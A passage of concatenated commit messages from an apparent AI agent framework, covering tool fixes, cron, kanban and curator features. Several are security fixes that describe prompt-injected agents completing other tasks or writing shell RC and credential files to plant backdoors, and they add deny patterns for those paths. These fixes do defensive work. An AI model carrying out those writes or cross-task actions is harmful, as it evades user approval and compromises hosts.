- Update write_file schema description to mention the post-write lint.
tests/tools/test_file_operations_edge_cases.py:
- Update existing brace-path tests to use .js (shell linter) now that
.py is in-process.
- Add TestCheckLintInproc (9 tests) covering Python/JSON/YAML/TOML
in-process linters.
- Add TestCheckLintDelta (5 tests) covering the post-first/pre-lazy
short-circuit, new-file path, and the single-error-parser caveat.
## Performance
In-process linters are microseconds per call (ast.parse, json.loads).
The hot path (clean write) runs exactly one lint — matches main's cost
for patch. Pre-state capture is skipped when the file has no applicable
linter. Measured 4.89ms/write average over 100 .py writes including lint.
## Inspiration
- Cline's DiffViewProvider.getNewDiagnosticProblems() — filters pre-write
diagnostics from post-write diagnostics (src/integrations/editor/DiffViewProvider.ts).
- OpenCode's WriteTool — runs lsp.diagnostics() after write and appends
errors to tool output (packages/opencode/src/tool/write.ts).
- Claude Code's DiagnosticTrackingService — captures baseline via
beforeFileEdited() and returns new-diagnostics-only from
getNewDiagnostics() (src/services/diagnosticTracking.ts).
## Validation
- tests/tools/test_file_operations.py + test_file_operations_edge_cases.py
+ test_file_tools.py + test_file_tools_live.py + test_file_write_safety.py
+ test_write_deny.py + test_patch_parser.py + test_file_ops_cwd_tracking.py:
228 passed locally.
- Live E2E reproduction of the tips.py corruption incident: broken
content written; lint field surfaces 'SyntaxError: invalid syntax.
Perhaps you forgot a comma? (line 6, column 5)' — the exact error
that would have self-corrected the bug on the next turn.
MCP servers commonly emit JSON Schema `pattern` (e.g. `\\d{4}-\\d{2}-\\d{2}`
for date-time params) and `format` keywords. llama.cpp's
`json-schema-to-grammar` converter rejects regex escape classes
(\\d/\\w/\\s) and most format values, returning HTTP 400
"parse: error parsing grammar: unknown escape at \\d" — the whole request
fails.
Cloud providers (OpenAI, Anthropic, OpenRouter, Gemini) accept these
keywords fine and use them as prompting hints. Stripping unconditionally
loses useful hints for every cloud user to fix a llama.cpp-only bug.
Approach: classify the llama.cpp grammar-parse 400 in the error
classifier, and on match do a one-shot in-place strip of pattern/format
from `self.tools`, then retry. Follows the existing
`thinking_signature` recovery pattern. Cloud users hit zero overhead;
llama.cpp users pay one failed request per session.
Changes
- agent/error_classifier.py: new `FailoverReason.llama_cpp_grammar_pattern`
+ narrow HTTP-400 branch matching "error parsing grammar",
"json-schema-to-grammar", or "unable to generate parser ... template".
- tools/schema_sanitizer.py: new `strip_pattern_and_format()` helper —
reactive, walks schema nodes, skips property names (search_files.pattern
survives). Returns strip count for logging.
- run_agent.py: new one-shot recovery block in the retry loop. Strips,
logs, continues. Falls through to normal retry if nothing to strip.
- tests: 4 classifier tests (3 variants + 1 non-400 negative), 7 strip
tests including the property-name preservation and idempotency checks.
Co-authored-by: Chris Danis <cdanis@gmail.com>
Follow-up to #19928 which fixed the foreground path in _run_bash.
The background process spawn in process_registry.py had the same
vulnerability: Popen(cwd=session.cwd) and PtyProcess.spawn(cwd=...)
would raise FileNotFoundError if the directory was deleted.
Apply _resolve_safe_cwd() at session creation time so both the PTY
and pipe-mode Popen paths receive a validated cwd.
Address Copilot review on PR #17569:
1. _resolve_safe_cwd never tested the filesystem root because the loop
exited when `os.path.dirname(parent) == parent`, which is true once
`parent == '/'`. Restructure so the root is checked before the
self-equal exit. Adds `test_returns_root_when_only_root_exists` —
regression-guarded by reverting the loop and watching it fail.
2. The fake `Popen.stdout` was a `MagicMock`; `BaseEnvironment._wait_for_process`
calls `proc.stdout.fileno()` then `select.select`/`os.read` against it,
which raised `TypeError: fileno() returned a non-integer` (visible as a
thread exception in test output) and could in theory read from an
unrelated real fd. Hand `fake_popen` a real `os.pipe()` with the write
end pre-closed so the drain loop sees EOF immediately. Helper records
each fd so the test cleans up after itself.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
When a tool call deletes its own working directory (`cd /tmp/foo &&
rm -rf /tmp/foo`), the next `subprocess.Popen(args, cwd=self.cwd)` raised
`FileNotFoundError: [Errno 2]` before bash even started — every subsequent
terminal/file-tool call hit the same wedge until the gateway restarted.
Fix in `LocalEnvironment._run_bash`: before handing `self.cwd` to Popen,
resolve a safe alternative when the path is gone (walk up to the nearest
existing ancestor, falling back to `tempfile.gettempdir()` only as a last
resort). Log a warning so the recovery is visible — not silent — and
update `self.cwd` so the next call doesn't repeat the message.
Defense in depth in `LocalEnvironment._update_cwd`: only adopt the new
cwd when it still exists as a directory. `pwd -P` from a deleted cwd can
leave a stale value in the marker file; refusing to store a missing path
keeps `self.cwd` valid by construction.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
MiniMax deprecated the old v1/t2a_v2 endpoint (api.minimax.io) and
moved to v1/text_to_speech (api.minimax.chat). The new API:
- Uses a flat payload: {model, text, voice_id} instead of nested
voice_setting / audio_setting objects
- Returns raw audio bytes (Content-Type: audio/mpeg) instead of
JSON with hex-encoded audio
- Uses model 'speech-01' instead of 'speech-2.8-hd'
- Updated default voice_id to 'female-shaonv' for Chinese TTS
The implementation detects Content-Type to handle both old and new
API responses, maintaining backward compatibility for any users who
manually configured the legacy base_url.
* feat(cron): add no_agent mode for script-only cron jobs (watchdog pattern)
Adds a no_agent=True option to the cronjob system. When enabled, the
scheduler runs the attached script on schedule and delivers its stdout
directly to the job's target — no LLM, no agent loop, no token spend.
This is the classic bash-watchdog pattern (memory alert every 5 min,
disk alert every 15 min, CI ping) reimplemented as a first-class Hermes
primitive instead of a systemd timer + curl + bot token triplet living
outside the system.
## What
hermes cron create "every 5m" \
--no-agent \
--script memory-watchdog.sh \
--deliver telegram \
--name memory-watchdog
Agent tool:
cronjob(action='create',
schedule='every 5m',
script='memory-watchdog.sh',
no_agent=True,
deliver='telegram')
Semantics:
- Script stdout (trimmed) → delivered verbatim as the message
- Empty stdout → silent tick (no delivery; watchdog pattern)
- wakeAgent=false gate → silent tick (same gate LLM jobs use)
- Non-zero exit/timeout → delivered as an error alert
(broken watchdogs shouldn't fail silently)
- No LLM ever invoked; no tokens spent; no provider fallback applied
## Implementation
cron/jobs.py
* create_job gains no_agent: bool = False
* prompt becomes Optional (no_agent jobs don't need one)
* Validation: no_agent=True requires a script at create time
* Field roundtrips via load_jobs / save_jobs / update_job
cron/scheduler.py
* run_job: new short-circuit branch at the top that runs the script,
wraps its output into the (success, doc, final_response, error)
tuple downstream delivery already expects, and returns before any
AIAgent import or construction
* _run_job_script: picks interpreter by extension — .sh/.bash run
under /bin/bash, anything else under sys.executable (Python).
Shell support unlocks the bash-watchdog pattern without wrapping
scripts in Python. Extension is explicit; we deliberately do NOT
trust the file's own shebang. Path-containment guard (scripts dir)
unchanged.
tools/cronjob_tools.py
* Schema: new no_agent boolean property with clear trigger guidance
* cronjob() accepts no_agent and validates mode-specific shape:
- no_agent=True requires script; prompt/skills optional
- no_agent=False keeps the existing 'prompt or skill required' rule
* update path rejects flipping no_agent=True on a job without a script
* _format_job surfaces no_agent in list output
* Handler lambda forwards no_agent from tool args
hermes_cli/main.py, hermes_cli/cron.py
* 'hermes cron create --no-agent' and edit's --no-agent / --agent
pair for toggling at CLI parity with the agent tool
* Existing --script help text updated to describe both modes
* List / create / edit output now shows 'Mode: no-agent (...)' when set
## Tests
tests/cron/test_cron_no_agent.py — 18 tests covering:
* create_job: no_agent shape, validation, field persistence
* update_job: flag roundtrip across reload
* cronjob tool: schema validation, update toggling, mode-specific
requirements, prompt-relaxation rule
* run_job short-circuit:
- success path delivers stdout verbatim
- empty stdout → SILENT_MARKER (no delivery downstream)
- wakeAgent=false gate → silent
- script failure → error alert
- run_job does NOT import AIAgent (verified via mock)
* _run_job_script:
- .sh executes via bash (no shebang required)
- .bash executes via bash
- .py still runs via sys.executable (regression)
- path-traversal still blocked (security regression)
All 18 new tests pass. 341/342 pre-existing cron tests still pass; the
one failure (test_script_empty_output_noted) was already broken on main
and is unrelated to this change.
## Docs
website/docs/guides/cron-script-only.md — new dedicated guide covering
the watchdog pattern, interpreter rules, delivery mapping, worked
examples (memory / disk alerts), and the comparison table vs hermes send,
regular LLM cron jobs, and OS-level cron.
website/docs/user-guide/features/cron.md — new 'No-agent mode' section
in the cron feature reference, cross-linked to the guide.
website/docs/guides/automate-with-cron.md — new tip box pointing users
to no-agent mode when they don't need LLM reasoning.
## Compatibility
- Existing jobs: unchanged. no_agent defaults to False, existing code
paths untouched until the flag is set.
- Schema additive only; older jobs.json without the field load fine
via .get() with False default.
- New CLI flags are opt-in and don't alter existing flag behavior.
* fix(cron): lazy-import AIAgent + SessionDB so no_agent ticks pay zero
The unconditional `from run_agent import AIAgent` + SessionDB() init at
the top of run_job() meant every no_agent tick still paid the full agent
module load cost (~300ms + transitive imports + DB open) even though it
never touched any of that machinery.
Move both to live under the default (LLM) path, after the no_agent
short-circuit has returned. Now a no_agent tick's sys.modules stays
clean — verified end-to-end:
assert 'run_agent' not in sys.modules # before
run_job(no_agent_job)
assert 'run_agent' not in sys.modules # after
The existing mock-based unit test (test_run_job_no_agent_never_invokes_aiagent)
kept passing because patch() replaces the class AFTER import; the leak
was only visible via real subprocess-style verification. End-to-end
demo confirmed: agent calls cronjob(no_agent=True) → script runs →
stdout delivered → no LLM machinery loaded.
* docs(cron): tighten no_agent tool schema — defaults, silent semantics, pick rule
Previous description buried the important bits in one long sentence.
Agents could plausibly miss three things an LLM-facing schema should
make unmissable:
1. What the default is — now first sentence + JSON Schema `default: false`
2. What 'silent run' actually means for the user — now spelled out:
'nothing is sent to the user and they won't see anything happened'
3. When to pick True vs False — now a concrete decision rule with
examples on both sides (watchdogs/metrics/pollers → True;
summarize/draft/pick/rephrase → False)
Also adds explicit 'prompt and skills are ignored when True' since the
agent could otherwise still pass them out of habit.
No behavior change — schema text only.
On VPS/Docker and some Ubuntu 23.10+ hosts, Chromium refuses to start
without --no-sandbox:
- uid=0 (root): hard requirement (VPS/Docker deployments)
- AppArmor apparmor_restrict_unprivileged_userns=1 (Ubuntu 23.10+):
non-root too, under systemd or unprivileged containers
Detect both conditions and inject AGENT_BROWSER_CHROME_FLAGS with
--no-sandbox --disable-dev-shm-usage when the user hasn't already
set the flags themselves.
Salvage of #15771 — only the browser_tool.py fix is cherry-picked.
The PR's accompanying MCP preset addition (new feature surface)
was dropped so the bug fix can land independently.
Co-authored-by: ygd58 <buraysandro9@gmail.com>
Clear inherited provider preference filters when delegation.provider is set so delegated children do not route back to the parent provider. Add a regression test for cross-provider delegation with parent OpenRouter filters.
Closes#10653
When a delegation child session (e.g. source='telegram') contains the
FTS5 hit but _resolve_to_parent() maps it to a different root session
(source='api_server'), the result entry was still reporting the child's
source because the loop discarded session_meta as `_` and fell back to
match_info.get('source'), which carries the child session's value.
Use the resolved parent's session_meta for source, model, and started_at
with match_info as a fallback, so the output accurately reflects the
session the user actually interacted with.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Reverts ff3d2773e2. Teknium reviewed the merged PR and decided this
behavior isn't wanted — tool-driven kanban_create should not mirror
the slash-command path's auto-subscribe. Orchestrators that want
their originating chat notified can call kanban_notify-subscribe
explicitly; we're not going to make it implicit.
Closes#19479.
When an orchestrator agent calls kanban_create from a gateway session
(e.g. a Telegram user delegating to an orchestrator profile), auto-
subscribe the originating (platform, chat, thread, user) to the new
task's terminal events. Mirrors the behavior of the /kanban create
slash command in gateway/run.py so tool-driven creation is at parity
with human-driven creation.
Without this, a user who interacts with an orchestrator exclusively
via the gateway never receives blocked / completed / gave_up
notifications for tasks the orchestrator created on their behalf —
silently breaking the gateway-first multi-agent flow the reporter
describes.
Reads the context-local HERMES_SESSION_* vars via get_session_env()
(not os.environ — those are contextvars for asyncio concurrency
safety). Falls through cleanly in CLI / cron contexts with no
session active (subscribed=False in the response). Best-effort: if
the gateway module isn't importable (test rigs stubbing gateway.*),
the task still creates, we just skip the subscription.
Response gains a 'subscribed' bool so the orchestrator knows whether
terminal events will land back in the originating chat or whether it
needs to poll / unblock manually.
Tests: 4 new in tests/tools/test_kanban_tools.py covering
CLI/no-subscribe, telegram/gateway-auto-subscribe, discord-DM/no-
thread subscribe, and partial-ctx/no-chat_id no-subscribe. 40/40
kanban tool tests pass.
ENV-assignment and JSON-field regex patterns in redact_sensitive_text()
cause false positives when reading source code files:
- MAX_TOKENS=*** triggers the ENV assignment pattern
- "apiKey": "test" in test fixtures triggers the JSON field pattern
Add code_file=False parameter. When code_file=True, skip only the
ENV-assignment and JSON-field regex passes; all other patterns (prefixes,
auth headers, private keys, DB connstrings, JWTs, URL secrets) are
still applied.
Update file_tools.py (read_file and search_files) to pass code_file=True
so agent code analysis is not polluted by false-positive redactions.
Closes#15934
Closes#19534 (security).
A worker spawned by the kanban dispatcher has HERMES_KANBAN_TASK set
to its own task id. The destructive tools (kanban_complete,
kanban_block, kanban_heartbeat) resolved task_id via
_default_task_id() which preferred an explicit arg over the env var,
with no ownership check — so a buggy or prompt-injected worker could
complete / block / heartbeat any OTHER task (sibling, cross-tenant,
anything) by supplying its id. Reporter's repro: worker for t_A
passed task_id=t_B to kanban_complete and got {"ok": true}.
Fix: add _enforce_worker_task_ownership(tid). If HERMES_KANBAN_TASK
is set and tid doesn't match, return a structured tool error with
guidance to use kanban_comment (for information handoff across tasks)
or kanban_create (for follow-up work). Orchestrator profiles (no env
var, but kanban toolset enabled per #18968) are exempt — their job
is routing and sometimes includes closing out child tasks.
Kept unrestricted (deliberately):
- kanban_show — workers legitimately read parent/sibling handoff context
- kanban_comment — cross-task comments are the handoff mechanism
- kanban_create — orchestrator fan-out, worker follow-up spawning
- kanban_link — parent/child linking
Tests: 5 new regression tests in tests/tools/test_kanban_tools.py
covering the grid (worker-attacks-foreign ×3 tools, worker-own-task
preserved, orchestrator-unrestricted). 36/36 pass.
AnyUrl was imported inside the same try block as mcp.client.auth, so
when the mcp package was not installed, AnyUrl was undefined and
_build_client_metadata raised NameError at runtime.
Moved the AnyUrl import to its own try/except block so it's available
whenever pydantic is installed (which is a core dependency), regardless
of whether the mcp SDK is present.
Also added pytest.importorskip('mcp') to the three
test_build_client_metadata tests that exercise _build_client_metadata,
since that function depends on OAuthClientMetadata from the mcp package.
Set max_result_size_chars=100_000 on the read_file registry entry (was
float('inf')), closing the Layer 2 defense-in-depth gap in
tool_result_storage.py. The existing Layer 1 guard inside
_handle_read_file already returns a JSON error for oversized reads;
this aligns the registry cap with every other tool.
Update test_read_file_never_persisted → test_read_file_result_size_cap
to assert 100_000, and add test_read_file_registry_cap_is_100k as an
explicit regression guard against re-introducing float('inf').
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Treat explicit CDP override mode as a valid browser backend even when agent-browser is absent, and add a regression test to prevent false-negative availability gating.
`_resolve_model_override` treated any non-empty `provider` string from
the LLM as user-specified and skipped the pin-to-current-provider
fallback. When the LLM wrote bare `'custom'` (instead of the canonical
`'custom:<name>'` referring to a custom_providers entry), the value
serialized into jobs.json as `"provider": "custom"` and the scheduler
could never resolve a provider from it — the cron job failed silently
at run time.
Treat bare `'custom'` as "no provider supplied" so the current main
provider gets pinned instead, matching behaviour for the omitted case.
Defence-in-depth complement to a schema-description fix (#15477) that
discourages the LLM from emitting bare `'custom'` in the first place.
YAML parses `delegation: null` as Python None. `dict.get(key, {})`
only uses the default when the key is *missing*, not when it exists with
a None value, so `cfg.get("max_concurrent_children")` crashes with
`'NoneType' object has no attribute 'get'`.
Same pattern as fd9b692d (fix(tui): tolerate null top-level sections).
Use `dict.get(key) or {}` to handle both missing and None-valued keys.
Closes: delegation null config crash (same class as #7215, #7346)
The `provider` field in CRONJOB_SCHEMA only showed examples like
'openrouter' and 'anthropic', with no mention of the canonical
'custom:<name>' form required for custom_providers entries. When the
user has custom providers configured, LLMs tend to write the bare type
name ('custom') because the schema does not advertise the ':<name>'
suffix. The bare value then serializes into jobs.json and causes the
cron job to fail silently at run time — `_resolve_model_override`
treats it as a user-specified provider and skips the pin-to-current
fallback, but no provider ever resolves from the bare 'custom' string.
Clarifying the schema so the canonical form is discoverable addresses
the root cause at the tool-definition boundary.
Adds RFC 5322 Date header to the _send_email tool path in tools/send_message_tool.py.
Issue #15160 noted that both gateway/platforms/email.py and tools/send_message_tool.py
construct MIMEMultipart/MIMEText messages without setting a Date header. RFC 5322
requires the Date header; mail filters reject messages that lack it.
PR #15207 fixed the gateway/platforms/email.py path but did not cover
tools/send_message_tool._send_email, which is used by the send_message tool
for cross-channel messaging.
This change adds msg["Date"] = formatdate(localtime=True) to _send_email,
mirroring the fix applied to the gateway email adapter.
Closes#15160
Tighten the provenance semantics added in #19618: skills a user asks a
foreground agent to write via skill_manage(create) now stay invisible to
the curator. Only skills the background self-improvement review fork
sediments through skill_manage get the created_by=agent marker.
- tools/skill_provenance.py — new ContextVar module mirroring the
_approval_session_key pattern: set_current_write_origin / reset /
get / is_background_review. Default origin is 'foreground'; the
review fork sets 'background_review'.
- run_agent.py — run_conversation() binds the ContextVar from
self._memory_write_origin at the top of each call. The review fork
runs on its own thread (fresh context), so foreground and review
contexts never cross-contaminate.
- tools/skill_manager_tool.py — skill_manage(action='create') now
only calls mark_agent_created() when is_background_review(). All
other cases (foreground create, patch, edit, write_file, delete)
continue as before.
- tests: test_skill_provenance.py (6 tests covering the ContextVar
surface), split test_full_create_via_dispatcher into foreground
vs. review-fork variants, curator status tests now mark-first.
Why: the agent routinely edits existing user skills on the user's
behalf; those writes must never flip provenance. And when a user
explicitly asks the foreground agent to create a skill, that skill
belongs to the user. The curator should only be cleaning up after
its own autonomous sediment from the review nudge loop.
When delegation.model differs from model.default and the provider is
opencode-go or opencode-zen, the wrong api_mode is computed because
resolve_runtime_provider falls back to model_cfg.get('default') — the
main model — instead of the configured delegation model.
For example, with model.default=minimax-m2.7 (anthropic_messages) and
delegation.model=glm-5.1 (chat_completions), subagents get
anthropic_messages, which strips /v1 from the base URL and causes a 404.
resolve_runtime_provider already accepts target_model for exactly this
purpose; _resolve_delegation_credentials just wasn't passing it.
Fixes#15319
Related: #13678
The _check_kanban_mode() gating function only checked for
HERMES_KANBAN_TASK env var, which is only set by the dispatcher
when spawning workers. This prevented orchestrator profiles (like
techlead) from using kanban_create, kanban_link, etc. even when
they had 'kanban' explicitly in their toolsets config.
Now uses load_config() from hermes_cli.config (which has mtime-based
caching) to check if 'kanban' is in the profile's toolsets list.
This enables orchestrators to route work via Kanban while workers
continue using the dispatcher env var.
Fixes#18968
_build_child_agent constructed child AIAgents without passing
fallback_model, leaving _fallback_chain=[] for every subagent.
When a subagent hit a rate-limit or credential exhaustion the
runtime fallback check (run_agent.py:7486 / 12267) found an empty
chain and failed immediately — even though the parent agent was
configured with fallback_providers and would have recovered.
The cron scheduler already propagates fallback_model correctly
(scheduler.py:1038). Fix closes the parity gap by reading the
parent's _fallback_chain (the normalised list form accepted by
AIAgent's fallback_model parameter) and threading it through.
Empty chains coerce to None so AIAgent initialises _fallback_chain=[]
as usual rather than iterating an empty list.
The _send_feishu() function already supports media_files (images, video,
audio, documents) via the adapter's send_image_file/send_video/send_voice
/send_document methods, but _send_to_platform() never routed Feishu into
the early media-handling branch — media attachments were silently dropped
with a "not supported" warning.
Add a Feishu-specific media branch (matching the existing Yuanbao/Signal
pattern) so that MEDIA:<path> tags in send_message calls are correctly
delivered as native Feishu attachments. Also update the two error/warning
message strings to include feishu in the supported platform list.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Before this fix, _chromium_installed() only searched Playwright-style
chromium-* / chromium_headless_shell-* directories, which meant users
with system Chrome or AGENT_BROWSER_EXECUTABLE_PATH configured still
had all browser_* tools gated.
Now checks three sources in priority order:
1. AGENT_BROWSER_EXECUTABLE_PATH env var (if set and points to a real binary)
2. System Chrome/Chromium via shutil.which() (google-chrome, chromium-browser, chrome)
3. Playwright browser cache (existing logic, kept as fallback)
Closes#19294
The _send_qqbot function was hardcoded to use the guild channel
endpoint (/channels/{id}/messages), which fails for C2C private
chats and QQ groups with 'channel does not exist' (code 11263).
This change tries the appropriate endpoints in order:
1. /channels/{id}/messages (guild channels)
2. /v2/users/{id}/messages (C2C private chats)
3. /v2/groups/{id}/messages (QQ groups)
Fixes active sending to QQBot C2C and group recipients.
* feat: add video_analyze tool for native video understanding
Adds a video_analyze tool that sends video files to multimodal LLMs
(e.g. Gemini) for analysis via the OpenRouter-compatible video_url
content type. Mirrors vision_analyze in structure, error handling,
and registration pattern.
Key design:
- Base64 encodes entire video (no frame extraction, no ffmpeg dep)
- Uses 'video_url' content block type (OpenRouter standard)
- Supports mp4, webm, mov, avi, mkv, mpeg formats
- 50 MB hard cap, 20 MB warning threshold
- 180s minimum timeout (videos take longer than images)
- AUXILIARY_VIDEO_MODEL env override, falls back to AUXILIARY_VISION_MODEL
- Same SSRF protection, retry logic, and cleanup as vision_analyze
Default disabled: registered in 'video' toolset (not in _HERMES_CORE_TOOLS).
Users opt in via: hermes tools enable video, or enabled_toolsets=['video'].
* feat(video): add models.dev capability pre-check + CONFIGURABLE_TOOLSETS entry
- Pre-checks model video capability via models.dev modalities.input
before expensive base64 encoding. Fails early with helpful message
suggesting video-capable alternatives (gemini, mimo-v2.5-pro).
- Passes optimistically if model unknown or lookup fails.
- Adds ModelInfo.supports_video_input() helper.
- Adds 'video' to CONFIGURABLE_TOOLSETS and _DEFAULT_OFF_TOOLSETS
so 'hermes tools enable video' works from CLI.
- 8 new tests for the capability check (37 total).
* refactor(video): remove models.dev capability pre-check
Removes _check_video_model_capability and ModelInfo.supports_video_input.
The vision_analyze tool doesn't pre-check image capability either — both
tools rely on the same pattern: send request, handle API errors gracefully
with categorized user-facing messages. The pre-check was inconsistent
(only worked for some providers/models) so drop it for parity.
* cleanup: compress comments, fix fragile timeout coupling
- Replace _VISION_DOWNLOAD_TIMEOUT * 2 with hardcoded 60s (no silent
breakage if vision timeout changes independently)
- Strip verbose comments and redundant log lines throughout
- No behavioral changes
Under context pressure, frontier models sometimes emit tool calls with
required fields dropped. Previously _handle_write_file() used
args.get('content', '') which substituted an empty string for the missing
key, returned success with bytes_written=0, and created a zero-byte file
on disk. The model had no way to detect the failure.
Changes:
- Reject calls where 'path' is absent or not a non-empty string
- Reject calls where 'content' key is entirely absent (key-presence check,
not truthiness) — distinguishing a legitimately empty file from a dropped arg
- Reject calls where 'content' is a non-string type
- All error messages include guidance to re-emit the tool call or switch
to execute_code with hermes_tools.write_file() for large payloads
- Explicit empty string content (file truncation) continues to work
Regression tests added for all four cases: missing path, missing content,
explicit-empty content, and wrong content type.
Fixes#19096
Terminal commands can write to shell RC files (~/.bashrc, ~/.zshrc,
~/.profile) and credential files (~/.netrc, ~/.pgpass, ~/.npmrc,
~/.pypirc) via redirection or tee without triggering approval, even
though write_file already blocks these paths in file_safety.py.
This creates an inconsistency: write_file protects these paths but
terminal shell redirections bypass the same protection. An agent
prompted via indirect injection could install persistent backdoors
(e.g. PATH manipulation, alias overrides) or write credential entries
without user approval.
Extend _SENSITIVE_WRITE_TARGET with two new regex groups matching the
same paths that file_safety.py's WRITE_DENIED_PATHS already covers:
_SHELL_RC_FILES — ~/.bashrc, ~/.zshrc, ~/.profile, ~/.bash_profile,
~/.zprofile
_CREDENTIAL_FILES — ~/.netrc, ~/.pgpass, ~/.npmrc, ~/.pypirc
All 130 existing tests pass.
* fix(curator): authoritative absorbed_into declarations on skill delete
Closes#18671. The classification pipeline that feeds cron-ref rewriting
used to infer consolidation vs pruning from two brittle signals: the
curator model's post-hoc YAML summary block, and a substring heuristic
scanning other tool calls for the removed skill's name. Both miss in
real consolidations — the model forgets the YAML under reasoning
pressure, and the heuristic misses when the umbrella's patch content
describes the absorbed behavior abstractly instead of naming the old
slug. When both miss, the skill falls through to 'no-evidence fallback'
pruned, and #18253's cron rewriter drops the cron ref entirely instead
of mapping it to the umbrella. Same observable symptom as pre-#18253:
'Skill(s) not found and skipped' at the next cron run.
The fix makes the model declare intent at the moment of deletion.
skill_manage(action='delete') now accepts absorbed_into:
- absorbed_into='<umbrella>' -> consolidated, target must exist on disk
- absorbed_into='' -> explicit prune, no forwarding target
- missing -> legacy path, falls through to heuristic/YAML
The curator reconciler reads these declarations off llm_meta.tool_calls
BEFORE either the YAML block or the substring heuristic. Declaration
wins. Fallback logic stays intact for backward compat with any caller
(human or older curator conversation) that doesn't populate the arg.
Changes
- tools/skill_manager_tool.py: add absorbed_into param to skill_manage
+ _delete_skill. Validate target exists when non-empty. Reject
absorbed_into=<self>. Wire through dispatcher + registry + schema.
- agent/curator.py: new _extract_absorbed_into_declarations() walks
tool calls for skill_manage(delete) with the arg. _reconcile_classification
accepts absorbed_declarations= and treats them as authoritative. Curator
prompt updated to require the arg on every delete.
- Tests: 7 new skill_manager tests covering the tool contract (valid
target, empty string, nonexistent target, self-reference, whitespace,
backward compat, dispatcher plumbing). 11 new curator tests covering
the extractor + authoritative reconciler path + mixed-legacy-and-
declared runs.
Validation
- 307/307 targeted tests pass (curator + cron + skill_manager suites).
- E2E #18671 repro: 3 narrow skills, 1 umbrella, cron job referencing
all 3. Model emits NO YAML block. Heuristic misses (patch prose
doesn't name old slugs). Delete calls carry absorbed_into. Result:
both PR skills correctly classified 'consolidated' + cron rewritten
['pr-review-format', 'pr-review-checklist', 'stale-junk'] ->
['hermes-agent-dev']; stale-junk pruned via absorbed_into=''.
- E2E backward-compat: delete without absorbed_into, model emits YAML
-> routed via existing 'model' source, cron still rewritten correctly.
* feat(curator): capture + restore cron skill links across snapshot/rollback
Before this, rolling back a curator run restored the skills tree but cron
jobs still pointed at the umbrella skills the curator had rewritten them
to. The user would see their old narrow skills back on disk but their
cron jobs still configured with the merged umbrella — not actually 'back
to how it was'.
Snapshot side: snapshot_skills() now captures ~/.hermes/cron/jobs.json
alongside the skills tarball, as cron-jobs.json. The manifest gets a new
'cron_jobs' block with {backed_up, jobs_count} so rollback (and the CLI
confirm dialog) can surface what's in the snapshot. If jobs.json is
missing/unreadable/malformed, snapshot proceeds without cron data — the
skills backup is the core guarantee; cron is additive.
Rollback side: after the skills extract succeeds, the new
_restore_cron_skill_links() reconciles the backed-up jobs into the live
jobs.json SURGICALLY. Only 'skills' and 'skill' fields are restored, and
only on jobs matched by id. Everything else about a cron job — schedule,
last_run_at, next_run_at, enabled, prompt, workdir, hooks — is live
state the user or scheduler has modified since the snapshot; overwriting
it would regress unrelated activity.
Reconciliation rules:
- Job in backup AND live, skills differ → skills restored.
- Job in backup AND live, skills match → no-op.
- Job in backup, NOT in live → skipped (user deleted it
after snapshot; their choice
is later than the snapshot).
- Job in live, NOT in backup → untouched (user created it
after snapshot).
- Snapshot missing cron-jobs.json at all → rollback still succeeds,
reports 'not captured'
(older pre-feature snapshots
keep working).
Writes go through cron.jobs.save_jobs under the same _jobs_file_lock the
scheduler uses, so rollback doesn't race tick().
Also:
- hermes_cli/curator.py: rollback confirm dialog now shows
'cron jobs: N (will be restored for skill-link fields only)' when the
snapshot has cron data, or 'not in snapshot (<reason>)' otherwise.
- rollback()'s message string includes a 'cron links: ...' clause
summarizing the reconciliation outcome.
Tests
- 9 new cases: snapshot-with-cron, snapshot-without-cron, malformed-json
captured-as-raw, full rollback-restores-skills-and-cron, rollback
touches only skill fields, rollback skips user-deleted jobs, rollback
leaves user-created jobs untouched, rollback still works with
pre-feature snapshot that has no cron-jobs.json, standalone unit test
on _restore_cron_skill_links exercising the full report shape.
Validation
- 484/484 targeted tests pass (curator + cron + skill_manager suites).
- E2E: real snapshot_skills, real cron rewrite, real rollback. Before:
['pr-review-format', 'pr-review-checklist', 'pr-triage-salvage'].
After curator: ['hermes-agent-dev']. After rollback: ['pr-review-format',
'pr-review-checklist', 'pr-triage-salvage']. Non-skill fields (id,
name, prompt) preserved across the round trip.
Widens #16528 to two sibling sites that had the same quoted-boolean
bug: a YAML string "false" (or "0", "no", "off") silently evaluated
truthy under bool() / if-check.
- gateway/run.py _load_show_reasoning: is_truthy_value wrap
- tools/skill_manager_tool.py _guard_agent_created_enabled: is_truthy_value wrap
- regression tests for both
When running on a host with sudoers NOPASSWD configured for the current
user, interactive Hermes sessions were unnecessarily entering the
password prompt path before executing sudo commands. Outside Hermes,
`sudo -n true` exits 0 for that user.
Add `_sudo_nopasswd_works()` that probes `sudo -n true` and, when it
succeeds, lets `_transform_sudo_command()` return the command unchanged
with no stdin password. The probe:
- Is scoped to the `local` terminal backend only, so Docker/SSH/Modal
and other remote backends do not inherit host sudo state.
- Re-probes every call (no process-lifetime cache) so an expired sudo
timestamp cannot silently make a later command block waiting for a
password that Hermes never prompts for.
- Is bypassed entirely when `SUDO_PASSWORD` is configured or a cached
password already exists, preserving existing explicit-password flows.
Co-authored-by: Junting Wu <juntingpublic@gmail.com>
_capability_cache was a single module-level dict shared across all
tokens. If the bot token rotates or multiple tokens are used in one
process, capabilities detected for token A would be returned for
token B, causing wrong schema gating and incorrect runtime behavior.
Replace the single Optional cache with a Dict keyed by token so each
token gets its own isolated capability entry.
_SupervisorRegistry.get_or_start() returned an existing supervisor
whenever the cdp_url matched, without checking if the supervisor's
thread or event loop was still alive. A crashed supervisor would be
silently reused, causing missed dialog/frame updates.
Now checks both _thread.is_alive() and _loop.is_running() before
returning the cached instance. An unhealthy supervisor is torn down
and recreated, matching the existing URL-changed code path.
- order session_search recent-mode results by last activity instead of session start time
- add an opt-in `order_by_last_active` path to `SessionDB.list_sessions_rich`
- add regression coverage for both the database ordering and recent-mode call path
Treat skill views and edits as activity when curator reports and applies lifecycle transitions, so recently loaded or patched skills are not displayed or transitioned as never used.\n\nAdds regression tests for activity derivation, automatic transitions, and CLI status output.
restore_skill() in tools/skill_usage.py used archive_root.iterdir(), which
only walked the top level of .archive/. Skills archived under nested layouts
(e.g. .archive/openclaw-imports/<skill>/ from older archive paths or
external imports) were invisible to both the exact-match and prefix-match
candidate scans, surfacing as a misleading "skill '<name>' not found in
